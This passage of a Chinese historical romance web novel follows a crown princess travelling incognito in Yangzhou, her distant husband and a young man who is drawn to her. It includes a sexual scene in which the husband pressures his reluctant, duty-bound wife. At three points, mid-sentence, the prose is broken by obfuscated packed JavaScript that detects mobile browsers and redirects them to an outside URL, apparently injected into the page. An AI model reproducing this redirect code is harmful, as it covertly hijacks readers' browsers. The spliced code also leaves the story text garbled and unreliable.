“药粉洒上去的时候可能会有点疼,夫君你忍下。”谢知虞学着他的做法,往上面吹了一口风,正要为他洒上止血粉,手腕冷不丁被抓住。
手腕被握住的谢知虞身体僵住,清冷的瞳孔中带着做错事后的茫然无促,“夫君,是我弄疼你了吗。”
“你那点儿力气哪里会弄疼我。”楼怀玉长臂揽住她腰肢,拦腰抱坐腿间,炙热的气息落在她颈间如羽毛划过,泛起酥麻痒意。
成婚三年之久,谢知虞已是明白夫君是产生了意动,但他身上有伤又不敢推开他,只能小声提醒道:“夫君,你身上还有伤。”
“我身上有伤,所以换岁岁在上面,可好。”楼怀玉看着因他一句话,就从脸红到耳根的小妻子,指尖往她衣服里探去,看着她想拒绝又担心自己身上伤口而泛红的桃糜眼角。
他的小妻子怎么能那么乖,乖到想要令人狠狠的用力欺负。
谢知虞从未想过自己那位一向清冷得好似谪仙,连在他面前大声说话都像是亵渎的夫君,竟会对着自己说出那么下流的话,眉尖拧起就要拒绝,“不行,夫君你身上有伤。”
她是自小按照最严苛教养长大的当家主母,她要做的是为夫君打理后院,繁衍子嗣,为夫君纳妾充实后院开枝散叶。
而不是,听着自己丈夫用对妾的方式对她这个妻,这对她而言何尝不算一种羞辱。
掌心揉捏着玉团的楼怀玉温热潮湿的吻落在她眉眼,脸颊,小巧的下颌,修长白皙的脖颈,一如那晨起挂满霜落的蜘蛛网缠住她的四肢百骸,“岁岁,你不会拒绝我的,对吗。”
“往后你出了这个门,你将不再是谢家女,你只能是天家媳,他人妇,你不能拒绝丈夫的任何要求。”
“你要做的是个满足自己丈夫任何要求,以夫为天的贤妇,而不是你谢知虞。”昔日出嫁前祖母父亲母亲族亲那句,不能拒绝夫君任何要求的话犹如铁链,牢牢锁住她的四肢,捆住她的灵魂。
“夫君身上有伤,妾身怕………”即便不能拒绝身为丈夫的任何要求,谢知虞想到他身上狰狞可怖的一条伤口,仍是抗拒的。
因为只有小妾,花楼里的女子才会不知廉耻缠着男人的身体,哪怕明知男人身体有碍为了恩宠也要索取。她要是真的答应了,和其他男人后院里痴缠丈夫的小妾,花楼里不择手段留客的花娘有何区别。
“好岁岁,只要你主动,为夫身上的伤就不会裂开。”拉过她手置于唇边落下缠吻的楼怀玉知道他的小妻子胆怯,害羞,他不介意一点点教她如何取悦自己的丈夫。
半夜被暴雨惊醒,顺带起来解手的顺安见主子房里的灯还亮着,以为主子忘了熄灯,正推门进来要去吹灭蜡烛。
就看见平日里一向见着书就头昏脑涨,如王八看苍蝇的主子居然趴在书案上写信,简称活见了鬼。
“少爷,你那么晚了还不睡,在做什么啊?”
脚边,案桌上堆了不少纸团的许拾安心虚得抬手就去挡写好的信,瞪他,“看什么看,还不快点滚回去睡觉。”
顺安顿时愁眉苦脸起来:“少爷,你是不是又打算和谁约架了。”
想到这个可能,顿时像老妈子苦口婆心的劝,“少爷,京中来信了,说你不能总是顽劣不堪,走鸡斗狗,要不然等回京了怎么办。”
许拾安只觉得额间青筋直跳,抓起桌上纸团朝他砸去,“闭嘴,你赶紧给小爷去睡觉去,小爷已经很久不和人约架了。”
顺安走后,许拾安看着写了一半的信,又觉得写得不好的卷成团扔到一旁。
他要是贸然写信给她,她会不会以为自己是个贪花好色的登徒子,万一被她丈夫知道了,会不会给她带来麻烦?
明知有千不该万不该,却抵不过想要见她的贪念。
上次见她吃了两块芥辣瓜旋儿,想来她口味应该偏辣,江南吃食偏甜口,也不知道她吃不吃得习惯。
窗外风雨肆虐,谢知虞觉得自己像是像是被甩进湖里即将溺死的一只雀儿。
她扑棱展翅着要逃离,又总会水下探出头的鱼儿叼携着往下沉,直至她全身羽毛都打了湿,翅膀在无力得要往下沉时,那顽皮的鱼儿又像是得了趣味。
不断的用鱼嘴顶着鸟儿往上抛,看着它落下,又接着往上抛。
这一夜对于谢知虞来说,是羞耻得难以启齿的一夜。
她好似不在是那个端庄稳重的太子妃,更像是一个花楼里供人取乐的妓子,哪怕她伺候的人只是自己丈夫。
猛地从梦中惊醒来后,窗外雨打芭蕉声未歇。
是梦吧,若非是梦,一向清冷矜贵,不苟言笑的夫君怎会让自己坐在他腿上,在她耳边说着一句句下流粗俗的话。
感觉口渴的谢知虞正要让青吉给自己倒杯水来,才感觉到自己正躺在一具温热的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563062|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怀抱里。
甚至能清楚的感受到,手底下的肌肤未着寸衣,就连她自己,都感觉不到身上有衣物遮体的触觉。
“醒了。”醒来的楼怀玉眉眼间带着餍足后的惬意,慵懒得像头极好说话的黑豹,掌心抚上她平坦的柔软小腹,“有哪里不舒服吗?”
当男人低沉的嗓音于耳边响起的瞬间,指甲掐进床单的谢知虞才惊觉,昨晚上所发生的一切,并非是梦。
那个在夫君身上犹如花娘泣泪哀求,只求夫君放过自己,撕碎了清冷端方君子的夫君是真实存在的。
身上伤口包扎好的楼怀玉起身倒了杯水给她,“孤记得夫人起床后有喝水的习惯。”
“多谢夫君。”脑子空白一片的谢知虞接过水后小口小口抿着,好让自己一点点逃避羞耻。
“岁岁,你我是夫妻,我说过你不要总和我那么客气。”楼怀玉目光晦暗的落在妻子那具未着寸衣的莹白娇躯上,正布满着由他亲手画下的雪地红梅图。
微凉的指尖把她垂落锁骨的发丝别到耳后,露出和这具单薄身躯格格不入,又被他蹂躏一夜后正高高翘起。
身体僵住的谢知虞陡然涨红了脸,恨不得马上寻条地缝钻进去,扯过锦被遮住自己的身体,“夫君,可否容妾身更衣。”
“你我夫妻早已坦诚相见多次,岁岁竟还不习惯吗。”楼怀玉知道他的小妻子害羞,调侃一句后就转过身往屏风后走去。
因着下雨,楼怀玉并未外出,谢知虞就让人在檐下置了块竹毯,上置红木小几博山炉,用来泡茶的水是她让下人收集的荷花露水,煮出来的茶水会自带荷香。
茶是他喜欢的六安瓜片,配的是扬州特色糕点荷花酥,龙井茶饼,玫瑰酥,梅花糕,又因他不喜甜,这些糕点的糖放得并不多。
二人各自占据着一方小天地,彼此互不打扰,又都听着一片岁月静好的雨打芭蕉声。
楼怀玉看完手中的折子,凝眸落在手边的六安瓜片茶,忽而抬眸问道,“上次的桃花可喜欢?”
胸口正被布料磨得难受的谢知虞愣了下,才回,“只要是夫君送的,妾身都喜欢。”
楼怀玉骨指半屈轻叩桌面,似带着几分无奈,“你我是夫妻,你对我不用总是那么生份。”
“妾身并没有和夫君生份,妾身确实喜欢夫君送的礼物。”谢知虞知道他们是夫妻,更知道他心目中的妻根本不是自己,她唯一能做的就是尽好妻子的本分。
得知自己夫君和心上人吵架闹矛盾时,要在中间调和,为夫君纳妾,繁衍子嗣,打理东宫人情往来。
有些事,从她被定下太子妃的那一刻起,她就知道了。
不能善妒,要大度,不能争风吃醋,要善解人意,更不能将自己的一颗心交付给这个身为丈夫的男人。
楼怀玉知她是个不喜多话的性子,取出一个紫檀木雕花盒递给她,“打开看看,喜欢吗。”
往常他也会送她珠宝首饰,但大部分是让嬷嬷或者管事送来,很少会亲自交给她。
此番有些受宠若惊的谢知虞接过盒子,打开后,里面放的是一对粉玉雕刻而成的水滴耳坠。
“我见这对耳环的第一眼,就觉得它很衬你。”
“妾身很喜欢,多谢夫君。”谢知虞看着这对耳坠,想到的是夫君那位心上人有一块粉玉佩。
雕刻一块玉佩后,总会剩下许多边角料,想来她这对耳坠就是边角料所做。
明知夫君的心从不在自己身边,但看着这对用边角料做出的耳坠时,谢知虞的心脏仍是泛起轻微的刺疼。
“我为你戴上。”
谢知虞点头,侧身朝男人靠近,露出一截纤细修长的脖颈。
楼怀玉为她佩戴耳坠时,指尖无意落在她白皙的脖颈,脸颊处,毫不留情的赞了一声,“我妻甚美。”
一向克己复礼的男人第一次说出这种堪比情话的话,对谢知虞来说就像是嗅到了隐秘甜香的蜜蜂,只想围着这点儿微不足道的甜。
她甚至是贪心的希望,这一刻能持续长一点,再久一点。
7. 第 7 章
等雨停后,一封来自知府夫人的赏花宴请帖递了上来。
谢知虞拿着那封鎏金烫花请帖去找他的时候,双手抱剑的叶从安没有将人拦住地侧过身,“夫人,老爷正和其他几位大人商议要事,夫人恐怕得要等一会儿。”
并不打算进书房的谢知虞说明来意,“我没有什么要紧事,只是今日知府夫人送了一张请帖过来,说要让我们三日后去参加她举办的赏花宴。”
“若是这些小事,夫人自个做决定就好。大人说过了,夫人能有权决定府里的一切。”
有些话说得是好听,可只有真正信了的人才知道有多蠢,哪怕说这句话的人是自己丈夫,谢知虞仍不敢全信的把请帖递给他,“等下麻烦叶大人在夫君谈话结束后,把它拿给夫君。”
谢知虞刚转身离开,一个做男子打扮的美娇娘端着甜羹走了过来,以为她是被拦住不给进去,眼梢扬起带着得意,“叶大人不让夫人进来,就不怕夫人恼了你吗。”
“大人说过在商议要事时除了夫人,谁都不能进去。”叶从安拦住要进去的女人,“谁里面,自然也包括叶姑娘。”
书房里的楼怀玉正为对方狡猾得像泥鳅,又狡兔三窟抓不到人而烦躁。
要抓就必须连根拔起,否则就像上次的打草惊蛇,谁知道他们下次会逃到哪里,就像是暗处烦人的老鼠,虽威胁不了什么,但它存在本身就足够令人作呕。
一位幕僚提出,“大人,何不再试一回引蛇出洞,上次失败,鄙人认为是诱惑不够大到足矣打动他们。”
来了几分兴趣的楼怀玉沉声道:“饵为何?”
“太子妃。”
沉吟许久的楼怀玉并未采纳,也没有否认,只是让他们先离开。
待幕僚离开后,叶从安走了进来,将请帖递过去,“主子,夫人刚才来了,说是知府夫人给府上递了赏花帖,邀主子和夫人三日后参加赏花宴。”
他接着又道,“叶姑娘来了,不过因为属下拦着不让她进书房,生气的走了。”
“孤平日里就是太惯着她了。”接过请帖的楼怀玉冷嗤一声,伸手轻摁眉心,抬脚往外走去,“夫人离开前有说了什么?”
叶从安摇头。
离开书房的谢知虞去了后院的凉亭荷池,让青吉拿了碟鱼食过来,看着争先恐后抢食的鱼儿打发时间。
听到身后传来的脚步声,谢知虞并未抬头,只是默契地把鱼食碟递了过去。
接过鱼食的楼怀玉和她并肩而立,遮住了杨柳挡不住的斑驳光影,“来了为何不进来。”
谢知虞抓了一把鱼食扔进湖里,“夫君要议事,妾身不好打扰。”
“你又怎知,我认为是打扰。”对比她喂鱼食时每次一小把的适到好处,楼怀玉是满满一大把洒下。
引得满池锦鲤鳞光乍起的蜂拥而至,鱼跃龙门只为夺一口吃食,这样的场景虽瑰丽壮观得令人震撼,也导致东宫里的锦鲤换得比其它地方勤。
去参加赏花宴那日,晴空万里无云,亦连拂面的微风都不骄不躁,带着徐徐清爽。
既去参加赏花宴,谢知虞自然不能同平日穿得那般素净简洁,亦不能穿得喧宾夺主。
又因天热,谢知虞就选了件浅紫交领,杏黄百合纹对襟荷叶半袖襦,雪青色绣花马面裙。一头柔顺乌发挽成流苏髻,两侧垂挂珍珠流苏,走动间摇曳生姿又不会显得过于呆板,很符合她现在富商之妻的身份。
她出来时,男人已经在外等候许久,他今日和她穿着同色的浅紫云纹长衫,站在一起宛如一对璧人。
谢知虞心生愧意的走来,“不好意思,让夫君久等了。”
指腹捻转玉扳指的楼怀玉目光落在她身上一瞬,又很快移开,“走吧。”
上马车时,楼怀玉先上,随后向她伸出掌心。
在外,他总是对自己格外体贴的谢知虞不假思索地把手搭上他的掌心。
虽是夫妻,在上了马车后又各自独坐一旁,连最普通的说话声都没有。
楼怀玉很忙,忙到即便去参加赏花宴的短暂途中都要处理事务。
今年开年,当今圣上身体就开始抱恙,开始放手一些国事给他最为看中且得意的太子处理,也在对外释放一个信息。
太子的地位无可动摇,在他百年后能坐上他这个位置的只有太子。
担心马车内光线昏暗,会对他眼睛不好的谢知虞假装看街上风景地掀开帘子,有好几次想开口,只是当话到嘴边又总会咽了回去。
注意到她目光的楼怀玉合上折子,身体后仰靠上车厢,“想问什么,直问就好。”
“知府大人可认识夫君?”她们此番是秘密来扬州,自然是越少人知道他们身份越好,她也担忧扬州知府和那群人是一伙的。
“扬州知府曾是我的老师。”短短几个字,他好似给了她答案,又好似什么都没有说。
粉白指尖捏着车帘发皱的谢知虞略显可悲的想,要是他心上人问他,他还会这样言简易骇吗?
知府夫人举办的赏花宴,扬州城里但凡有头有脸的人都会来参加,要是没有收到请帖者,就会想方设法让人捎带进来。
身为扬州富商的李家自然也收到了请帖,嘴里叼着根草的李羡安双手抱臂,倚墙看着正在舞剑时身姿矫健,翩若惊鸿的少年,“许兄,你真的不和我去赏花会吗。”
“赏花会有什么意思啊,还不如在家里睡觉。”许拾安一向讨厌这些宴会,认为都是一群带着假面的人凑在一起说着恭维话,拉皮条介绍自家公子姑娘。
他想到了许久未见的兄长,对比于自己,他的兄长明显更合适这种场合。
母后说兄长娶了妻,也不知道嫂子长什么样。
吐出嘴里草根的李羡安惆怅地悠悠叹了一声,双手背后,摇头晃脑朝外走去,“你不去,就让我这个好兄弟一个人去,也太不够义气了。”
“义气不该是用在这种地方的,反正你要去你去,别扒拉我。”收剑回鞘的许拾安说完,忽然眉头拧起的想到什么。
知府夫人举办的赏花宴,说不定那位夫人也会去。
“行,你不去我就自己去。听说今天扬州城里没有出嫁的小姐们都会来参加,说不定啊,我还能趁机遇到我命定的娘子。”李羡安人还没走过月洞门,一条胳膊就揽过了他的肩。
“我刚才是和你说笑的,既然都邀请我了,我哪有不去的道理。”
李羡安挑眉,抬手肘他,“呦,这太阳打西边出来了。”
许拾安揉了下鼻尖,略显心虚道:“我刚才只是和你开玩笑而已,哪儿舍得让好兄弟你一个人去。”
那天的信删删改改写了大半夜,最后仍是被他撕了个粉碎,第一次痛恨自己的字怎写得如此难看。
要是她收到了,难免不会嫌弃。
举办的赏花宴分男女席,把请帖递给管事后,两人分别被丫鬟和小厮带去不同的席间。
这是谢知虞来到扬州后第一次露面,其她夫人小姐们见着她这个生得格外漂亮的生面孔,难免会多看几眼,又因她梳着妇人髻,就猜测她是哪家夫人。
有人问道:“这位夫人是?”
谢知虞端着挑不出错的笑,介绍道:“我夫君姓赵,是从北地过来的布商,不久前刚来扬州。”
那些夫人们一听是从北地来的布商,和她交谈的兴致瞬间淡了。
北地对他们来说就是未开化的蛮夷,和蛮夷人做生意一向是被她们所不齿的。
谢知虞对她们鄙夷的目光无动于衷亦不恼,而是借机寻找着米铺的李夫人。
此刻被围在人群中的李夫人,在她们又一次提起上次的抛绣球一事,愁眉苦脸得不行,“我女儿前几天抛绣球选亲,不过是小孩心性和那群朋友们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563063|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩闹,当不了真,难为你们还记得那么清楚。”
就差没有撕破体面,说他们成日趴在自家床底下偷听。
不满意母亲对别人说自己抛绣球是玩笑的李清婉板着脸,严肃道:“娘,我才不是开玩笑,那人接了我的绣球就必须娶我。”
本来抛绣球就是为他准备的,后面也确实是他把绣球拿回来,那就是做不了假。
李夫人头次对一向疼爱的女儿厉声呵斥,“好了,你还嫌不够丢脸吗,看来是我和你父亲往日宠你太多,就连抛绣球选夫的事都做得出来。”
“李夫人,你好。”就在母女两个因此事起口角时,一道清冷如枝头落雪的声音正好熄灭了母女二人快要冒出的火星子。
李夫人看向和自己说话的年轻妇人,“你是?”
“我夫君姓赵。”谢知虞自我介绍道,“前段时间刚来扬州的布商。”
李夫人知道自家老爷最近正和北地来的商人打交道,不同于其她夫人的鄙夷轻藐,露出笑来,“原来是赵夫人,赵夫人比我所想的要漂亮很多。”
“我不过是年轻才显漂亮,不比李夫人天生丽质还保养得当。”谢知虞看向旁边的李清婉,目光真诚眉眼含笑,“刚才要不是他们说这位李夫人的女儿,我还以为你们是一对姐妹花。”
无论女人多大,都喜欢别人夸自己年轻,李夫人也不例外。
谢知虞知道怎么顺着别人的话说,又抛出她喜欢的话题,没一会儿,李夫人就从原先的嘴里的赵夫人变成赵家妹子。
还约好了等哪日有空,得要让她到府上做客。
宴会到一半,谢知虞在里面待得烦闷就出来透透气。
她刚走到凉亭中,不远处就响起一道略显惊喜的声音。
“夫人,没想到你也来参加宴会了,好巧。”
来参加宴会后的许拾安就后悔了,他对那些文绉绉的诗词歌赋,谈论的哪家小姐花魁没有一点儿兴趣,更没有想到男女客是分席而坐。
刚找好一处清冷地躲清净好等宴会结束,没想到就遇到了自己想找的人,顿明何为众里寻她千百度,蓦然回首,那人却在,灯火阑珊处。
听到声音的谢知虞转过身,见到正抬手别开面前遮柳,眉眼间俱是笑意的少年,清冷如玉的眉眼漾出少许春色暖意,“许公子,你也来参加宴会吗。”
“嗯,我本来是想出来透透气的,没想到会遇到夫人。”唇角不自觉翘起的许拾安抬手折下一根柳条,三步做一步走来,又在离她一米远处停下,双手背后故作深沉,“夫人是不是也觉得宴会待着太闷了。”
手指拨动鬓角发丝别到耳后的谢知虞摇头,这些场合她已经习惯了,闷说不上,但也始终喜欢不起来,“许公子是觉得闷吗?”
从第一次见他到现在,他好像都是喜欢热闹不受拘束的人。不喜欢宴会的拘束跑出来,反倒是再正常不过。
“要是我有所求就不会闷,但我无所求,自然就闷。”来参加宴会的人,除了少许喜欢热闹,大部分是因为宴席上有自己所求之人,所求之事。
他这句话诚然令人说不出反驳。
握拳置于唇边轻咳一声的许拾安提议道:“我刚才来的路上看见前面有个荷花池,夫人可要随我去游湖?”
“我的意思是,夫人今日这身很合适游湖。”也很漂亮。
抽身离开交谈的楼怀玉担心她不喜欢这些场合,正要去寻她,却得知她不在花厅,而是去了后面的萃柳园。
他过来的时候,却正好看见他的妻子和别的男人在相谈甚欢,甚至那个年轻的男人还主动提出邀请他的妻子游湖。
他的妻眉眼盈盈。
而这,是和面对他时从未有过的场景。
虽知道他的妻子会拒绝,下颌线条绷紧的楼怀玉仍感到不安的出了声,“夫人,原来你在这里,倒让为夫好找。”
8. 第 8 章
骤然听见丈夫声音的谢知虞是有过短暂的心虚,哪怕她什么都没有做,仍像是被一只无形的冰冷掌心抚过椎骨,转过身,柔柔唤了一声“夫君,你怎么来了。”
“刚才我在花厅没有看见你,难免担心你是否迷了路。”一向不爱在外对她有肢体动作的男人,强势地搂过她的腰宣誓着主权,才像是注意到许拾安,带着居高临下的轻藐,“夫人,这位公子是?”
不明白夫君听到了什么的谢知虞心跳如鼓,正要介绍时就先被许拾安打断。
这是许拾安第一次见到她的丈夫,气质矜贵,容貌朗朗如日月之入怀,濯濯如春月柳得不像是个普通富商,是和他完全不同类型的男子。
他像个成熟可靠的男人,自己倒像个尚未长成的少年。
赵夫人心仪的,是否就是如她丈夫这般的男子?
这点儿微妙的对比很快被许拾安拳头攥握的抛之脑后,他说不定就是金玉其外败絮其中,这样的伪君子他难道见得少了吗,何况自己比他年轻,注定活得比他久,“你好,我姓许,许拾安。”
视线又落在他搂着她腰肢的那只手,莫名像烫到一样收回视线。更多的,是一种难言的嫉妒在心底蔓延。
脑海中突兀的浮现出一个,为何放在她腰间的那只手不能是自己的?
这个念头一出,许拾安自己都被骇了一跳。
“许公子你好,我姓赵,单名一个钦。”楼怀玉看向怀里的谢知虞,眉眼温柔地把她落在鬓边的发丝别到耳后,“我知道你一向不喜欢这些场合,要是觉得无聊就先在旁边等我。”
“我没有觉得无聊,只是在花厅里待久了,就想要出来透透气而已。”她身为贤内助,即便是真心认为无聊,亦不会说出来。
“我和夫人先回宴厅了,游湖一事许公子还是另请他人。”楼怀玉就差没有直面呵斥他心术不正,觊觎他人之妻。
一个尚未长大的黄毛小子,他不屑放在眼里。
等离开后,楼怀玉松开搂着她腰肢的手,取出帕子,当着她的面擦拭着手指,嗓音微沉带着一贯审视犯人的冷漠,“岁岁和他说了什么,那么开心?”
“不过是遇到就聊了几句。”心虚得不敢抬头的谢知虞解释道,“那位许公子之前帮过我。”
“就算帮过你,你可以和我说,我亲自带礼上门道谢。”而不是背着他这个丈夫私下见面,这样的行为是脱离他掌控,令他所不喜,亦是烦躁的。
“妾身明白,但这次只是偶尔遇到,并非有意欺瞒夫君。”
“夫人,我不是有意限制你的交友和社交,我是怕有些别有用心的人趁机接近你,夫人应该知道我们来江南是做什么的。”无奈得轻叹一声的楼怀玉抚上她微凉的脸颊,温热的气息像晨起挂满露珠的蜘蛛网一点点把她覆盖她的口鼻,缠住她的四肢百骸。
“岁岁,你是我的妻子,应该明白什么人该结交,什么人不能。”
或许,他就差没有直说,对方是男子,而你是太子妃,未来的一国之母。
你要恪守本分,不要做出任何让皇室蒙羞的事来。
其她夫人能和外男交谈,但你不能,因为你谢知虞的一言一行,一举一动都代表着皇室,还有她身后的百年谢家。
“妾身知道。”有些话不用他说,都是她携刻在灵魂里要记的。
成为普通世家妇都要恪守的规矩,在成为皇家妇后,只会要求更严苛。
许拾安回到宴会上,正输惨了的李羡安见他人回来了,整个人却失神落魄魂不守舍的模样,不禁打趣道:“你回来后就一直神思不属的,该不会是撞鬼了吧。”
其他人笑着起哄,“什么撞鬼,我看拾安兄分明是害了相思病。”
谁知道许拾安并不否认,落在一干友人眼里,简直同太阳打西边出来一样惊奇。
要知道他们都以为这不懂风情,把别人情书当成战书挑衅的人,注定会抱着他那柄破剑过一辈子。
李羡安起哄的笑意僵在脸上,瞳孔瞪圆结巴着嘴,“许拾安,你该不会真有喜欢的姑娘了吧。”
不是,要是他真有喜欢的姑娘了,那自家小妹怎么办啊。要知道自家小妹可是喜欢他这好兄弟得紧,就连上次的抛绣球选亲也是为了他准备的。
许拾安并不认同,也不否认他们嘴里的喜欢,他只是觉得那位夫人看着太单薄了点,长得漂亮了点而已,孤单了点,何况她已经成婚了,就算他再无耻,也不能做出撬人墙角的曹贼之事来。
但前面两次见面她都是孤身一人,就连这一次的赏花宴上她丈夫都不陪在她身边,说明她丈夫根本就是个不称职的男人。
李羡安见他没有否认,反倒是陷入一脸凝重思考时,整颗心顿时哇哇凉了个透顶,恨不得跳起来狂扇自己两巴掌。
好端端的,他多什么嘴啊,待会儿好好的妹夫飞了,他妹妹非得撕烂他的臭嘴。
从知府夫人举办的赏花宴回来后,楼怀玉并没有同之前那样忙碌得找不着人,也没有去桐花胡同,反倒是在陪她。
即便他要忙着处理折子,也要在旁边支个小几让她陪着,倒比刚新婚那时还要像新婚。
天热,谢知虞不再爱饮热茶,偏爱冰镇过的紫苏熟水,上次夫君见着了问要一杯,说了句不错后,她就会为他备上一杯。
谢知虞倒好冰镇过的紫苏熟水递过去,“夫君最近不忙吗?”
楼怀玉接过她递来的紫苏熟水抿上一口,一向清冷的声线带上几分晦暗,“岁岁很希望我忙。”
“妾身没有,只是夫君前段时间太忙了,妾身想着夫君能多休息几日才好。”谢知虞在他旁边的小桌坐下,上面摆放着她要看的书和账册。
搁下茶盏的楼怀玉眼眸半眯,目光锐利地抽起最底下,一本边缘起毛磨损严重,一看就是被主人时不时拿出来翻阅的《女范捷录》,不知是冷是怒的讽笑一声扔在地上,“夫人倒是对这本书爱得深沉,无论去到哪里都会带上。”
时下民风开放,除了一些迂腐得鲁叟谈五经,白发死章句的家族,很少人会再用女诫这一类书籍给女子启蒙。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563064|204601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
手指放在膝盖上收紧的谢知虞不知道,这本被自己藏在樟木箱子最底下的书怎么会被拿出来,还堂而皇之摆在她看书的小几上,她只知道这个身为自己丈夫的男人,很是厌恶前朝那一套寝床弄璋,寝地弄瓦的迂腐言论。
谢知虞大概猜到是谁做的,但面对丈夫的冷眼审问时并不辩解,也不解释说是被冤枉的,只是就书说出自己的观点,“对于别人来说书里教的都是迂腐的男尊女卑,弄璋弄瓦,妾身却觉得里面的妇行妇德妇言写得极好,夫君不能因为一本书不好,就全盘否认里面也有出彩之处。”
她只有一遍一遍的看着,翻着,咀嚼着,才能洗脑自己。
要尊夫,要示弱,要卑微,要以夫为天,要三从四德,要禁锢思想。只有这样,她才能从中得以喘息,告诫自己这样才是对的。
她不能对自己的丈夫不敬,不能对自己丈夫以外的男人心生好奇,更不能不爱自己的丈夫。
“拿去烧了。”吩咐下去的楼怀玉眸色冷沉,步步紧逼着抬起她下颌,“我不知道你以前在府上学的什么,孤只知道孤的太子妃不会是个迂腐死板,连自己思想主见都没有的蠢女人。”
“妾身会改的。”下颌被捏住,又因肤色白轻易留下印子的谢知虞不明白他好端端的又在发什么火,难不成又是和他心上人闹了矛盾。
骨指攥紧扳指的楼怀玉居高临下看着跪在地上,全然不知错在哪里的女人,胸腔里像是攒了一团怒火无处发泄,喉结滚动溢出冷笑,“改,夫人打算怎么改。”
往常只要她这样说了,他就不会再问的谢知虞很快冷静下来,“妾身不应该看此书,更不该将这种书带回东宫。”
指腹摩挲玉扳指的楼怀玉简直被她的话给气笑了,“只有这个?你就没有想过自己错在哪里。”
错?她有什么错?
“在你没有明白自己错在哪里前,就先待在院里抄写佛经养性。”气极反笑的楼怀玉甩袖离去后,跪在地上的谢知虞直到跪得双腿发麻才站起来,青吉要来扶她时,她拒绝了她的搀扶。
手撑在地面,一只手扶在桌几上,无视着膝盖的酸麻感慢慢地站起来。
“夫人,那书你怎么带来了。”丹祥作为自小伺候夫人长大的丫鬟,自然清楚夫人小时候最厌恶的就是女诫女论语内训女范捷录等书。
但自从夫人被罚跪在祠堂里三天三夜后,那本女范捷录反倒成了夫人不离身的存在,平日里拿在手里不说,就连嫁入东宫都要带上。
这些年来,她很想知道当年的祠堂里到底发生了什么,才会让夫人有如此大的转变。
“只有带着它,我才能安心。”要不然啊,她很怕会发现她根本不敢爱上自己的丈夫,更不想要当那三从四德,以夫为天的妇人。
谢知虞离开凉亭前,看着桌上没有怎么碰过的点心,抿了抿唇,“把这些点心拿下去分了吧。”
想到被他吩咐拿去扔了的那本书,“去帮我买一本新的回来,记住不要让老爷发现了。”
“诺。”
9. 第 9 章
腿间酸麻感未散,也不让丫鬟搀扶的谢知虞正慢吞吞走回居住的凌霜院,有个外院丫鬟走了过来,确定周围无人后,双手递来一封信压低声线道,“夫人,刚才门房送来了一封没有署名的信。”
指腹摩挲着青花枝信封面的谢知虞没有马上打开,而是问她,“有看清送信的人是谁吗?”
丫鬟摇头,“门房说信是从门底下塞进来的,等他打开门的时候,并没有看见人。”
“要是老爷问起,你们就说不知道,明白了吗。”拿着信的谢知虞回到房间后,并没有马上打开。
她在扬州认识的人没有几个,除了上次说有空约她喝茶的李夫人就是一些谢家人,若是李夫人或谢家人送来的,肯定不会偷偷摸摸,就连来信上都没有署名。
心跳骤然加快的谢知虞隐约有了答案,她又害怕真是自己所想的那个答案。
以至于做贼心虚的没有打开,而是把它放进了装着那根朱红发带的螺钿雕花木盒里,那根发带她本打算在洗净后还他,又鬼使神差的留下。
她不知道他给自己写了什么,她只知道那封信绝对不能打开。
那封信就像是打开牢笼的钥匙,她一旦打开,就像是释放出了内心的野兽。
许拾安把信送过去后,就坎坷不安的在马场入口蹲着,生怕她来了自己没有注意到。
担心燥热喧嚣的风把头发弄乱,还鬼鬼祟祟地拿了一个小方镜藏怀里。
他不是要做曹贼一流,只是上次不小心把绣球抛进她怀里,他怎么也得要向对方再三诚恳道歉才行。
自己来了扬州那么久,她刚来,自己身为在这里住了一段时间的人,理应带她玩遍扬州城尝尽当地美食才对。
就是不知道她收到来信后,会不会嫌他字过于放荡不羁了点,早知道会有这一天,他就应该多临摹临摹兄长的字帖,谁让兄长写的字不但好,还有风骨。
要是不来,应该是她没有收到自己的来信。
指尖发烫的谢知虞刚心虚地把信锁好,转过身看见出现在门外的楼怀玉,他的腰间佩戴着上次自己在庙会上买来送给他,前段时间又打了条水蓝色如玉络子的圆玉佩。
刹那间心脏骤停得亦连呼吸都屏住,又佯装无事的走过来,柔柔一问,“夫君是要出门吗?”
“不是我,是我们,上次说要带你游湖,我因临时有事失了约,现在补上。”楼怀玉方才拂袖离开后,便后悔了。
他明知谢家一贯将女子名声清白重于天,内里迂腐的守着谢家女宁死不失清白,夫死从子,子死殉葬。被休弃,失了清白的谢家女不得入祖祠,只得一杯毒酒一根白绫了此残生的刻板家规。
她还小,自己婚后陪伴她的时间又不多。
他应该和她讲道理,而不是生气的质问她,将她吓得惶恐不安,唯恐会遭了厌弃。
